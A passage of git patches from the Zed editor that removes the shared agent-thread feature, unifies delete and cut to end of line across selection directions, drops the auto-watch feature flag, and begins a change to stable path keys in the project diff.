-        .request(proto::GetSharedAgentThread {
-            session_id: session_id.clone(),
-        })
-        .await
-        .expect("Failed to get shared thread");
-
-    assert_eq!(get_response.title, "Updated Title");
-    assert_eq!(get_response.thread_data, b"updated data".to_vec());
-}
-
-#[gpui::test]
-async fn test_get_nonexistent_thread(executor: BackgroundExecutor, cx: &mut TestAppContext) {
-    let mut server = TestServer::start(executor.clone()).await;
-    let client = server.create_client(cx, "user_a").await;
-
-    executor.run_until_parked();
-
-    let nonexistent_session_id = Uuid::new_v4().to_string();
-
-    let result = client
-        .client()
-        .request(proto::GetSharedAgentThread {
-            session_id: nonexistent_session_id,
-        })
-        .await;
-
-    assert!(result.is_err(), "Should fail for nonexistent thread");
-}
-
-#[gpui::test]
-async fn test_sync_imported_thread(
-    executor: BackgroundExecutor,
-    cx_a: &mut TestAppContext,
-    cx_b: &mut TestAppContext,
-) {
-    let mut server = TestServer::start(executor.clone()).await;
-    let client_a = server.create_client(cx_a, "user_a").await;
-    let client_b = server.create_client(cx_b, "user_b").await;
-
-    executor.run_until_parked();
-
-    let session_id = Uuid::new_v4().to_string();
-
-    // User A shares a thread with initial content.
-    let initial_thread = SharedThread {
-        title: "Initial Title".into(),
-        messages: vec![],
-        updated_at: chrono::Utc::now(),
-        model: None,
-        version: SharedThread::VERSION.to_string(),
-    };
-
-    client_a
-        .client()
-        .request(proto::ShareAgentThread {
-            session_id: session_id.clone(),
-            title: initial_thread.title.to_string(),
-            thread_data: initial_thread.to_bytes().expect("Failed to serialize"),
-        })
-        .await
-        .expect("Failed to share thread");
-
-    // User B imports the thread.
-    let initial_response = client_b
-        .client()
-        .request(proto::GetSharedAgentThread {
-            session_id: session_id.clone(),
-        })
-        .await
-        .expect("Failed to get shared thread");
-
-    let initial_imported =
-        SharedThread::from_bytes(&initial_response.thread_data).expect("Failed to deserialize");
-    assert_eq!(initial_imported.title.as_ref(), "Initial Title");
-
-    // User A updates the shared thread.
-    let updated_thread = SharedThread {
-        title: "Updated Title".into(),
-        messages: vec![],
-        updated_at: chrono::Utc::now(),
-        model: None,
-        version: SharedThread::VERSION.to_string(),
-    };
-
-    client_a
-        .client()
-        .request(proto::ShareAgentThread {
-            session_id: session_id.clone(),
-            title: updated_thread.title.to_string(),
-            thread_data: updated_thread.to_bytes().expect("Failed to serialize"),
-        })
-        .await
-        .expect("Failed to re-share thread");
-
-    // User B syncs the imported thread (fetches the latest version).
-    let synced_response = client_b
-        .client()
-        .request(proto::GetSharedAgentThread {
-            session_id: session_id.clone(),
-        })
-        .await
-        .expect("Failed to sync shared thread");
-
-    let synced_thread =
-        SharedThread::from_bytes(&synced_response.thread_data).expect("Failed to deserialize");
-
-    // The synced thread should have the updated title.
-    assert_eq!(synced_thread.title.as_ref(), "Updated Title");
-}
diff --git a/crates/collab/tests/integration/collab_tests.rs b/crates/collab/tests/integration/collab_tests.rs
index 921319487bf4bf..8f72035c4339d4 100644
--- a/crates/collab/tests/integration/collab_tests.rs
+++ b/crates/collab/tests/integration/collab_tests.rs
@@ -2,7 +2,6 @@ use call::Room;
 use client::ChannelId;
 use gpui::{Entity, TestAppContext};
 
-mod agent_sharing_tests;
 mod auto_watch_tests;
 mod channel_buffer_tests;
 mod channel_guest_tests;
diff --git a/crates/collab/tests/integration/db_tests/db_tests.rs b/crates/collab/tests/integration/db_tests/db_tests.rs
index 15a90fcfedbc18..c2d4c3719d74b1 100644
--- a/crates/collab/tests/integration/db_tests/db_tests.rs
+++ b/crates/collab/tests/integration/db_tests/db_tests.rs
@@ -1,6 +1,5 @@
 use crate::test_both_dbs;
 
-use super::*;
 use collab::db::RoomId;
 use collab::db::*;
 use pretty_assertions::assert_eq;
@@ -228,121 +227,3 @@ async fn test_project_count(db: &Arc<Database>) {
         .unwrap();
     assert_eq!(db.project_count_excluding_admins().await.unwrap(), 0);
 }
-
-test_both_dbs!(
-    test_upsert_shared_thread,
-    test_upsert_shared_thread_postgres,
-    test_upsert_shared_thread_sqlite
-);
-
-async fn test_upsert_shared_thread(db: &Arc<Database>) {
-    use collab::db::SharedThreadId;
-    use uuid::Uuid;
-
-    let user_id = new_test_user(db).await;
-
-    let thread_id = SharedThreadId(Uuid::new_v4());
-    let title = "My Test Thread";
-    let data = b"test thread data".to_vec();
-
-    db.upsert_shared_thread(thread_id, user_id, title, data.clone())
-        .await
-        .unwrap();
-
-    let result = db.get_shared_thread(thread_id).await.unwrap();
-    assert!(result.is_some(), "Should find the shared thread");
-
-    let (thread, username) = result.unwrap();
-    assert_eq!(thread.title, title);
-    assert_eq!(thread.data, data);
-    assert_eq!(thread.user_id, user_id);
-    assert_eq!(username, "Unknown");
-}
-
-test_both_dbs!(
-    test_upsert_shared_thread_updates_existing,
-    test_upsert_shared_thread_updates_existing_postgres,
-    test_upsert_shared_thread_updates_existing_sqlite
-);
-
-async fn test_upsert_shared_thread_updates_existing(db: &Arc<Database>) {
-    use collab::db::SharedThreadId;
-    use uuid::Uuid;
-
-    let user_id = new_test_user(db).await;
-
-    let thread_id = SharedThreadId(Uuid::new_v4());
-
-    // Create initial thread.
-    db.upsert_shared_thread(
-        thread_id,
-        user_id,
-        "Original Title",
-        b"original data".to_vec(),
-    )
-    .await
-    .unwrap();
-
-    // Update the same thread.
-    db.upsert_shared_thread(
-        thread_id,
-        user_id,
-        "Updated Title",
-        b"updated data".to_vec(),
-    )
-    .await
-    .unwrap();
-
-    let result = db.get_shared_thread(thread_id).await.unwrap();
-    let (thread, _) = result.unwrap();
-
-    assert_eq!(thread.title, "Updated Title");
-    assert_eq!(thread.data, b"updated data".to_vec());
-}
-
-test_both_dbs!(
-    test_cannot_update_another_users_shared_thread,
-    test_cannot_update_another_users_shared_thread_postgres,
-    test_cannot_update_another_users_shared_thread_sqlite
-);
-
-async fn test_cannot_update_another_users_shared_thread(db: &Arc<Database>) {
-    use collab::db::SharedThreadId;
-    use uuid::Uuid;
-
-    let user1_id = new_test_user(db).await;
-    let user2_id = new_test_user(db).await;
-
-    let thread_id = SharedThreadId(Uuid::new_v4());
-
-    db.upsert_shared_thread(thread_id, user1_id, "User 1 Thread", b"user1 data".to_vec())
-        .await
-        .unwrap();
-
-    let result = db
-        .upsert_shared_thread(thread_id, user2_id, "User 2 Title", b"user2 data".to_vec())
-        .await;
-
-    assert!(
-        result.is_err(),
-        "Should not allow updating another user's thread"
-    );
-}
-
-test_both_dbs!(
-    test_get_nonexistent_shared_thread,
-    test_get_nonexistent_shared_thread_postgres,
-    test_get_nonexistent_shared_thread_sqlite
-);
-
-async fn test_get_nonexistent_shared_thread(db: &Arc<Database>) {
-    use collab::db::SharedThreadId;
-    use uuid::Uuid;
-
-    let result = db
-        .get_shared_thread(SharedThreadId(Uuid::new_v4()))
-        .await
-        .unwrap();
-
-    assert!(result.is_none(), "Should not find non-existent thread");
-}
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index 0c3411640892ab..8a5de71d822493 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -27,14 +27,6 @@ impl FeatureFlag for AcpBetaFeatureFlag {
 }
 register_feature_flag!(AcpBetaFeatureFlag);
 
-pub struct AgentSharingFeatureFlag;
-
-impl FeatureFlag for AgentSharingFeatureFlag {
-    const NAME: &'static str = "agent-sharing";
-    type Value = PresenceFlag;
-}
-register_feature_flag!(AgentSharingFeatureFlag);
-
 pub struct DiffReviewFeatureFlag;
 
 impl FeatureFlag for DiffReviewFeatureFlag {
diff --git a/crates/proto/proto/ai.proto b/crates/proto/proto/ai.proto
index 4309847c1be2ad..20fa1933066598 100644
--- a/crates/proto/proto/ai.proto
+++ b/crates/proto/proto/ai.proto
@@ -69,20 +69,3 @@ message NewExternalAgentVersionAvailable {
   string name = 2;
   string version = 3;
 }
-
-message ShareAgentThread {
-  string session_id = 1; // Client-generated UUID (acp::SessionId)
-  string title = 2;
-  bytes thread_data = 3;
-}
-
-message GetSharedAgentThread {
-  string session_id = 1; // UUID string
-}
-
-message GetSharedAgentThreadResponse {
-  string title = 1;
-  bytes thread_data = 2;
-  string sharer_username = 3;
-  string created_at = 4;
-}
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index 31e86e9ba6e14c..f87c0444c688a6 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -435,10 +435,6 @@ message Envelope {
     TrustWorktrees trust_worktrees = 404;
     RestrictWorktrees restrict_worktrees = 405;
 
-    ShareAgentThread share_agent_thread = 406;
-    GetSharedAgentThread get_shared_agent_thread = 407;
-    GetSharedAgentThreadResponse get_shared_agent_thread_response = 408;
-
     FindSearchCandidatesChunk find_search_candidates_chunk = 409;
     FindSearchCandidatesCancelled find_search_candidates_cancelled = 410;
     GetContextServerCommand get_context_server_command = 411;
@@ -519,6 +515,7 @@ message Envelope {
   reserved 429 to 430;
   reserved 211 to 216, 232 to 233;
   reserved 397 to 398;
+  reserved 406 to 408;
 }
 
 message Hello {
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index feb8bc9c6cd884..898677855373c4 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -373,9 +373,6 @@ messages!(
     (GitRenameWorktree, Background),
     (GitWorktreeCreatedAt, Background),
     (GitWorktreeCreatedAtResponse, Background),
-    (ShareAgentThread, Foreground),
-    (GetSharedAgentThread, Foreground),
-    (GetSharedAgentThreadResponse, Foreground),
     (FindSearchCandidatesChunk, Background),
     (FindSearchCandidatesCancelled, Background),
     (SpawnKernel, Background),
@@ -488,8 +485,6 @@ request_messages!(
     (SendChannelMessage, SendChannelMessageResponse),
     (SetChannelMemberRole, Ack),
     (SetChannelVisibility, Ack),
-    (ShareAgentThread, Ack),
-    (GetSharedAgentThread, GetSharedAgentThreadResponse),
     (ShareProject, ShareProjectResponse),
     (SynchronizeBuffers, SynchronizeBuffersResponse),
     (TaskContextForLocation, TaskContext),
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index f196153aed675e..725db34126c3db 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -14,8 +14,6 @@ const _: () = assert!(
      Forks: update APP_NAME in crates/paths/src/paths.rs when renaming the binary.",
 );
 
-use agent::{SharedThread, ThreadStore};
-use agent_client_protocol::schema::v1 as acp;
 use agent_ui::AgentPanel;
 use anyhow::{Context as _, Result};
 use clap::Parser;
@@ -32,8 +30,7 @@ use futures::{StreamExt, channel::oneshot, future};
 use git::GitHostingProviderRegistry;
 use git_ui::clone::clone_and_open;
 use gpui::{
-    App, AppContext, Application, AsyncApp, Focusable as _, QuitMode, Task, TaskExt,
-    UpdateGlobal as _, block_on,
+    App, AppContext, Application, AsyncApp, QuitMode, Task, TaskExt, UpdateGlobal as _, block_on,
 };
 use gpui_platform;
 
@@ -49,7 +46,6 @@ use assets::Assets;
 use node_runtime::{NodeBinaryOptions, NodeRuntime};
 use parking_lot::Mutex;
 use project::{project_settings::ProjectSettings, trusted_worktrees};
-use proto;
 use recent_projects::{RemoteSettings, open_remote_project};
 use release_channel::{AppCommitSha, AppVersion, ReleaseChannel};
 use session::{AppSession, Session};
@@ -1053,106 +1049,6 @@ fn handle_open_request(request: OpenRequest, app_state: Arc<AppState>, cx: &mut
                 })
                 .detach_and_log_err(cx);
             }
-            OpenRequestKind::SharedAgentThread { session_id } => {
-                cx.spawn(async move |cx| {
-                    let multi_workspace =
-                        workspace::get_any_active_multi_workspace(app_state.clone(), cx.clone())
-                            .await?;
-
-                    let workspace =
-                        multi_workspace.read_with(cx, |mw, _| mw.workspace().clone())?;
-
-                    let import_state = multi_workspace.update(cx, |_, window, cx| {
-                        workspace.update(cx, |workspace, cx| {
-                            if workspace.root_paths(cx).is_empty() {
-                                workspace.focus_panel::<AgentPanel>(window, cx);
-
-                                struct OpenProjectForSharedThreadToast;
-                                workspace.show_toast(
-                                    Toast::new(
-                                        NotificationId::unique::<OpenProjectForSharedThreadToast>(),
-                                        "Open a project to import shared threads",
-                                    )
-                                    .autohide(),
-                                    cx,
-                                );
-
-                                return anyhow::Ok(None);
-                            }
-
-                            let client = workspace.project().read(cx).client();
-                            let thread_store: Option<gpui::Entity<ThreadStore>> = workspace
-                                .panel::<AgentPanel>(cx)
-                                .map(|panel| panel.read(cx).thread_store().clone());
-                            anyhow::Ok(Some((client, thread_store)))
-                        })
-                    })??;
-
-                    let Some((client, thread_store)) = import_state else {
-                        return Ok(());
-                    };
-
-                    let Some(thread_store): Option<gpui::Entity<ThreadStore>> = thread_store else {
-                        anyhow::bail!("Agent panel not available");
-                    };
-
-                    let response = client
-                        .request(proto::GetSharedAgentThread {
-                            session_id: session_id.clone(),
-                        })
-                        .await
-                        .context("Failed to fetch shared thread")?;
-
-                    let shared_thread = SharedThread::from_bytes(&response.thread_data)?;
-                    let db_thread = shared_thread.to_db_thread();
-                    let session_id = acp::SessionId::new(session_id);
-
-                    let save_session_id = session_id.clone();
-
-                    thread_store
-                        .update(&mut cx.clone(), |store, cx| {
-                            store.save_thread(
-                                save_session_id.clone(),
-                                db_thread,
-                                Default::default(),
-                                cx,
-                            )
-                        })
-                        .await?;
-
-                    let sharer_username = response.sharer_username.clone();
-
-                    multi_workspace.update(cx, |_, window, cx| {
-                        workspace.update(cx, |workspace, cx| {
-                            if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
-                                panel.update(cx, |panel, cx| {
-                                    panel.open_thread(
-                                        session_id,
-                                        None,
-                                        Some(format!("🔗 {}", response.title).into()),
-                                        window,
-                                        cx,
-                                    );
-                                });
-                                panel.focus_handle(cx).focus(window, cx);
-                            }
-
-                            struct ImportedThreadToast;
-                            workspace.show_toast(
-                                Toast::new(
-                                    NotificationId::unique::<ImportedThreadToast>(),
-                                    format!("Imported shared thread from {}", sharer_username),
-                                )
-                                .autohide(),
-                                cx,
-                            );
-                        });
-                    })?;
-
-                    anyhow::Ok(())
-                })
-                .detach_and_log_err(cx);
-            }
             OpenRequestKind::InstallSkill { content } => {
                 cx.spawn(async move |cx| {
                     let multi_workspace =
diff --git a/crates/zed/src/visual_test_runner.rs b/crates/zed/src/visual_test_runner.rs
index ee9b0ec2d55512..f750376016757b 100644
--- a/crates/zed/src/visual_test_runner.rs
+++ b/crates/zed/src/visual_test_runner.rs
@@ -2731,7 +2731,6 @@ fn run_multi_workspace_sidebar_visual_tests(
                             request_token_usage: Default::default(),
                             model: None,
                             profile: None,
-                            imported: false,
                             subagent_context: None,
                             speed: None,
                             thinking_enabled: false,
diff --git a/crates/zed/src/zed/open_listener.rs b/crates/zed/src/zed/open_listener.rs
index eb38c1cac9254a..80a851571b8379 100644
--- a/crates/zed/src/zed/open_listener.rs
+++ b/crates/zed/src/zed/open_listener.rs
@@ -59,9 +59,6 @@ pub enum OpenRequestKind {
     AgentPanel {
         external_source_prompt: Option<ExternalSourcePrompt>,
     },
-    SharedAgentThread {
-        session_id: String,
-    },
     InstallSkill {
         /// Full `SKILL.md` contents embedded in a `zed://skill` share link.
         content: String,
@@ -99,10 +96,6 @@ impl std::fmt::Debug for OpenRequestKind {
                 .debug_struct("AgentPanel")
                 .field("external_source_prompt", external_source_prompt)
                 .finish(),
-            Self::SharedAgentThread { session_id } => f
-                .debug_struct("SharedAgentThread")
-                .field("session_id", session_id)
-                .finish(),
             Self::InstallSkill { content } => f
                 .debug_struct("InstallSkill")
                 .field("content_len", &content.len())
@@ -178,14 +171,6 @@ impl OpenRequest {
                 this.kind = Some(OpenRequestKind::Extension {
                     extension_id: extension_id.to_string(),
                 });
-            } else if let Some(session_id_str) = url.strip_prefix("zed://agent/shared/") {
-                if uuid::Uuid::parse_str(session_id_str).is_ok() {
-                    this.kind = Some(OpenRequestKind::SharedAgentThread {
-                        session_id: session_id_str.to_string(),
-                    });
-                } else {
-                    log::error!("Invalid session ID in URL: {}", session_id_str);
-                }
             } else if url.starts_with(agent_skills::SKILL_SHARE_LINK_PREFIX) {
                 this.parse_skill_install_url(&url)?
             } else if let Some(agent_path) = url.strip_prefix("zed://agent") {
@@ -1551,50 +1536,6 @@ mod tests {
         }
     }
 
-    #[gpui::test]
-    fn test_parse_shared_agent_thread_url(cx: &mut TestAppContext) {
-        let _app_state = init_test(cx);
-        let session_id = "123e4567-e89b-12d3-a456-426614174000";
-
-        let request = cx.update(|cx| {
-            OpenRequest::parse(
-                RawOpenRequest {
-                    urls: vec![format!("zed://agent/shared/{session_id}")],
-                    ..Default::default()
-                },
-                cx,
-            )
-            .unwrap()
-        });
-
-        match request.kind {
-            Some(OpenRequestKind::SharedAgentThread {
-                session_id: parsed_session_id,
-            }) => {
-                assert_eq!(parsed_session_id, session_id);
-            }
-            _ => panic!("Expected SharedAgentThread kind"),
-        }
-    }
-
-    #[gpui::test]
-    fn test_parse_shared_agent_thread_url_with_invalid_uuid(cx: &mut TestAppContext) {
-        let _app_state = init_test(cx);
-
-        let request = cx.update(|cx| {
-            OpenRequest::parse(
-                RawOpenRequest {
-                    urls: vec!["zed://agent/shared/not-a-uuid".into()],
-                    ..Default::default()
-                },
-                cx,
-            )
-            .unwrap()
-        });
-
-        assert!(request.kind.is_none());
-    }
-
     #[gpui::test]
     fn test_parse_git_commit_url(cx: &mut TestAppContext) {
         let _app_state = init_test(cx);

From af3f79076274fcbab3d53f93d14e9da6e8d2736c Mon Sep 17 00:00:00 2001
From: "Joseph T. Lyons" <JosephTLyons@gmail.com>
Date: Fri, 26 Jun 2026 16:56:38 -0400
Subject: [PATCH 124/772] Unify behavior of delete/cut to line boundary actions
 (#59627)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

I noticed that our line deletion actions are inconsistent.

For `DeleteToBeginningOfLine`:

- `one «two threeˇ» four` -> ` four` ✅
- `one «ˇtwo three» four` -> ` four` ✅

Great, these have the same results, regardless of selection direction.

For `DeleteToEndOfLine`:

- `one «two threeˇ» four` -> ` one ` ✅
- `one «ˇtwo three» four` -> `one two three` ❌

Whoops, that second one should be the same, assuming that selection
direction again shouldn't matter, as in the case of
`DeleteToBeginningOfLine`.

The same issue exists for `CutToEndOfLine`:

- `The quick «brownˇ» fox` -> `The quick ` ✅
- `The quick «ˇbrown» fox` -> `The quick brown` ❌

I unified the end-of-line actions to match `DeleteToBeginningOfLine`:
selection direction no longer matters, so the whole selection is always
included.

---

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `editor: delete to end of line` to behave consistently
regardless of selection direction.
- Fixed `editor: cut to end of line` to behave consistently regardless
of selection direction.
---
 crates/editor/src/editor_tests.rs | 46 +++++++++++++++++++++++--------
 crates/editor/src/input.rs        | 12 ++++++++
 2 files changed, 46 insertions(+), 12 deletions(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index f8d98a2b06619d..6b43dff2cc9af1 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -3282,20 +3282,29 @@ async fn test_move_page_up_page_down(cx: &mut TestAppContext) {
 }
 
 #[gpui::test]
-async fn test_delete_to_beginning_of_line(cx: &mut TestAppContext) {
+async fn test_delete_to_line_boundary(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
     let mut cx = EditorTestContext::new(cx).await;
-    cx.set_state("one «two threeˇ» four");
-    cx.update_editor(|editor, window, cx| {
-        editor.delete_to_beginning_of_line(
-            &DeleteToBeginningOfLine {
-                stop_at_indent: false,
-            },
-            window,
-            cx,
-        );
-        assert_eq!(editor.text(cx), " four");
-    });
+
+    for selection in ["one «two threeˇ» four", "one «ˇtwo three» four"] {
+        cx.set_state(selection);
+        cx.update_editor(|editor, window, cx| {
+            editor.delete_to_beginning_of_line(
+                &DeleteToBeginningOfLine {
+                    stop_at_indent: false,
+                },
+                window,
+                cx,
+            );
+            assert_eq!(editor.text(cx), " four");
+        });
+
+        cx.set_state(selection);
+        cx.update_editor(|editor, window, cx| {
+            editor.delete_to_end_of_line(&DeleteToEndOfLine, window, cx);
+            assert_eq!(editor.text(cx), "one ");
+        });
+    }
 }
 
 #[gpui::test]
@@ -8968,6 +8977,19 @@ async fn test_cut_line_ends(cx: &mut TestAppContext) {
     cx.assert_editor_state(indoc! {"
         The quickˇ
         fox jumps overˇthe lazy dog"});
+
+    for selection in ["The quick «brownˇ» fox", "The quick «ˇbrown» fox"] {
+        cx.set_state(selection);
+        cx.update_editor(|e, window, cx| {
+            e.cut_to_end_of_line(&CutToEndOfLine::default(), window, cx)
+        });
+        cx.assert_editor_state("The quick ˇ");
+        assert_eq!(
+            cx.read_from_clipboard()
+                .and_then(|item| item.text().as_deref().map(str::to_string)),
+            Some("brown fox".to_string())
+        );
+    }
 }
 
 #[gpui::test]
diff --git a/crates/editor/src/input.rs b/crates/editor/src/input.rs
index a9ef778a056b71..876bb8fa286535 100644
--- a/crates/editor/src/input.rs
+++ b/crates/editor/src/input.rs
@@ -1141,6 +1141,12 @@ impl Editor {
             return;
         }
         self.transact(window, cx, |this, window, cx| {
+            this.change_selections(Default::default(), window, cx, |s| {
+                s.move_with(&mut |_, selection| {
+                    selection.reversed = false;
+                });
+            });
+
             this.select_to_end_of_line(
                 &SelectToEndOfLine {
                     stop_at_soft_wraps: false,
@@ -1162,6 +1168,12 @@ impl Editor {
             return;
         }
         self.transact(window, cx, |this, window, cx| {
+            this.change_selections(Default::default(), window, cx, |s| {
+                s.move_with(&mut |_, selection| {
+                    selection.reversed = false;
+                });
+            });
+
             this.select_to_end_of_line(
                 &SelectToEndOfLine {
                     stop_at_soft_wraps: false,

From 184cf97ee9e8f9a054389a6288b4caddc73db1af Mon Sep 17 00:00:00 2001
From: "Joseph T. Lyons" <JosephTLyons@gmail.com>
Date: Fri, 26 Jun 2026 17:13:01 -0400
Subject: [PATCH 125/772] Remove auto watch feature flag (#59619)

## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- Added an auto-watch button to the collab panel that automatically
opens other participants' screen shares while you're in a call.
---
 Cargo.lock                           |  1 -
 crates/collab_ui/Cargo.toml          |  1 -
 crates/collab_ui/src/collab_panel.rs | 99 +++++++++++-----------------
 crates/feature_flags/src/flags.rs    |  8 ---
 4 files changed, 39 insertions(+), 70 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 794ec8f1ce52f6..ad39bf4af7b701 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3505,7 +3505,6 @@ dependencies = [
  "collections",
  "db",
  "editor",
- "feature_flags",
  "futures 0.3.32",
  "fuzzy",
  "gpui",
diff --git a/crates/collab_ui/Cargo.toml b/crates/collab_ui/Cargo.toml
index 978af1387cbe77..920f620e0ea2d4 100644
--- a/crates/collab_ui/Cargo.toml
+++ b/crates/collab_ui/Cargo.toml
@@ -36,7 +36,6 @@ client.workspace = true
 collections.workspace = true
 db.workspace = true
 editor.workspace = true
-feature_flags.workspace = true
 futures.workspace = true
 fuzzy.workspace = true
 gpui.workspace = true
diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 907c462aa6366a..0958587a5ca6f6 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -11,7 +11,6 @@ use collections::{HashMap, HashSet};
 use contact_finder::ContactFinder;
 use db::kvp::KeyValueStore;
 use editor::{Editor, EditorElement, EditorStyle};
-use feature_flags::{AutoWatchFeatureFlag, FeatureFlagAppExt as _};
 use fuzzy::{StringMatch, StringMatchCandidate, match_strings};
 use gpui::{
     AnyElement, App, AsyncWindowContext, Bounds, ClickEvent, ClipboardItem, DismissEvent, Div,
@@ -2911,66 +2910,46 @@ impl CollabPanel {
         let is_auto_watching = auto_watch_state.enabled();
 
         let button = match section {
-            Section::ActiveCall => {
-                let has_auto_watch_flag = cx.has_flag::<AutoWatchFeatureFlag>();
-                let show_auto_watch = has_auto_watch_flag && is_auto_watching;
-                let show_copy = channel_link.is_some();
-
-                if show_auto_watch || show_copy {
-                    Some(
-                        h_flex()
-                            .when_some(channel_link, |this, channel_link| {
-                                this.child(
-                                    CopyButton::new("copy-channel-link", channel_link)
-                                        .visible_on_hover("section-header")
-                                        .tooltip_label("Copy Channel Link"),
-                                )
-                            })
-                            .when(has_auto_watch_flag, |this| {
-                                this.child(
-                                    IconButton::new(
-                                        "auto-watch-screens",
-                                        if is_auto_watching {
-                                            IconName::Eye
-                                        } else {
-                                            IconName::EyeOff
-                                        },
-                                    )
-                                    .icon_size(IconSize::Small)
-                                    .toggle_state(is_auto_watching)
-                                    .selected_style(match auto_watch_state {
-                                        AutoWatch::Paused => {
-                                            ButtonStyle::Tinted(TintColor::Warning)
-                                        }
-                                        _ => ButtonStyle::Tinted(TintColor::Accent),
-                                    })
-                                    .when(!is_auto_watching, |this| {
-                                        this.visible_on_hover("section-header")
-                                    })
-                                    .tooltip(Tooltip::text(match auto_watch_state {
-                                        AutoWatch::Paused => {
-                                            "Auto Watch Screens (paused while sharing)"
-                                        }
-                                        AutoWatch::Active { .. } => "Stop Auto Watching Screens",
-                                        AutoWatch::Off => "Auto Watch Screens",
-                                    }))
-                                    .on_click(cx.listener(
-                                        |this, _, window, cx| {
-                                            this.workspace
-                                                .update(cx, |workspace, cx| {
-                                                    workspace.toggle_auto_watch(window, cx)
-                                                })
-                                                .ok();
-                                        },
-                                    )),
-                                )
-                            })
-                            .into_any_element(),
+            Section::ActiveCall => Some(
+                h_flex()
+                    .when_some(channel_link, |this, channel_link| {
+                        this.child(
+                            CopyButton::new("copy-channel-link", channel_link)
+                                .visible_on_hover("section-header")
+                                .tooltip_label("Copy Channel Link"),
+                        )
+                    })
+                    .child(
+                        IconButton::new(
+                            "auto-watch-screens",
+                            if is_auto_watching {
+                                IconName::Eye
+                            } else {
+                                IconName::EyeOff
+                            },
+                        )
+                        .icon_size(IconSize::Small)
+                        .toggle_state(is_auto_watching)
+                        .selected_style(match auto_watch_state {
+                            AutoWatch::Paused => ButtonStyle::Tinted(TintColor::Warning),
+                            _ => ButtonStyle::Tinted(TintColor::Accent),
+                        })
+                        .when(!is_auto_watching, |this| {
+                            this.visible_on_hover("section-header")
+                        })
+                        .tooltip(Tooltip::text(match auto_watch_state {
+                            AutoWatch::Paused => "Auto Watch Screens (paused while sharing)",
+                            AutoWatch::Active { .. } => "Stop Auto Watching Screens",
+                            AutoWatch::Off => "Auto Watch Screens",
+                        }))
+                        .on_click(cx.listener(|this, _, window, cx| {
+                            this.workspace
+                                .update(cx, |workspace, cx| workspace.toggle_auto_watch(window, cx))
+                                .ok();
+                        })),
                     )
-                } else {
-                    None
-                }
-            }
+                    .into_any_element(),
+            ),
             Section::Contacts => Some(
                 IconButton::new("add-contact", IconName::Plus)
                     .icon_size(IconSize::Small)
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index 8a5de71d822493..2552eacf102455 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -123,14 +123,6 @@ impl FeatureFlag for AgentSettingsUiFeatureFlag {
 }
 register_feature_flag!(AgentSettingsUiFeatureFlag);
 
-pub struct AutoWatchFeatureFlag;
-
-impl FeatureFlag for AutoWatchFeatureFlag {
-    const NAME: &'static str = "auto-watch-screens";
-    type Value = PresenceFlag;
-}
-register_feature_flag!(AutoWatchFeatureFlag);
-
 /// Wraps agent-run terminal commands in an OS-level sandbox where supported
 /// (currently macOS Seatbelt only). When off, terminal commands run with the
 /// agent's full ambient permissions, as they always have.

From 2c346f60a76fe3f0367ef924927f50a6efdf5718 Mon Sep 17 00:00:00 2001
From: Cole Miller <cole@zed.dev>
Date: Fri, 26 Jun 2026 18:56:41 -0400
Subject: [PATCH 126/772] Use stable path keys for the project diff (#59984)

#59043 updated the project diff and git panel to improve the sorting
options and make the order of files always match across the two.
However, the approach relied on sorting the list of buffers first and
then using an incrementing `PathKey.sort_prefix` to insert them into the
multibuffer. This is a problem because path keys are intended to be
stable, and any addition of removal of a buffer from the multibuffer
would cause the path keys for all subsequent buffers to change, so
`update_path_excerpts` would do unnecessary work.

This PR fixes that by computing stable path keys for the buffers based
on the ordering settings:
- `PathKey.sort_prefix` is based on the git status if that setting is
enabled, or a constant otherwise (the same way it worked before #59043)
- when the tree view is disabled, `PathKey.path` is either the raw
`RepoPath` (if sorting by path) or `{name}/{repo_path}` (if sorting by
name). When the tree view is enabled, we get the path by inserting `\0`
just before every directory component of the `RepoPath`, so that all
directories sort before all files.

Release Notes:

- N/A
---
 crates/git_ui/src/project_diff.rs | 404 +++++++++++++++++-------------
 1 file changed, 225 insertions(+), 179 deletions(-)

diff --git a/crates/git_ui/src/project_diff.rs b/crates/git_ui/src/project_diff.rs
index 9da57975bea8cd..89f57e274f805d 100644
--- a/crates/git_ui/src/project_diff.rs
+++ b/crates/git_ui/src/project_diff.rs
@@ -638,8 +638,7 @@ impl ProjectDiff {
             return;
         };
         let repo = git_repo.read(cx);
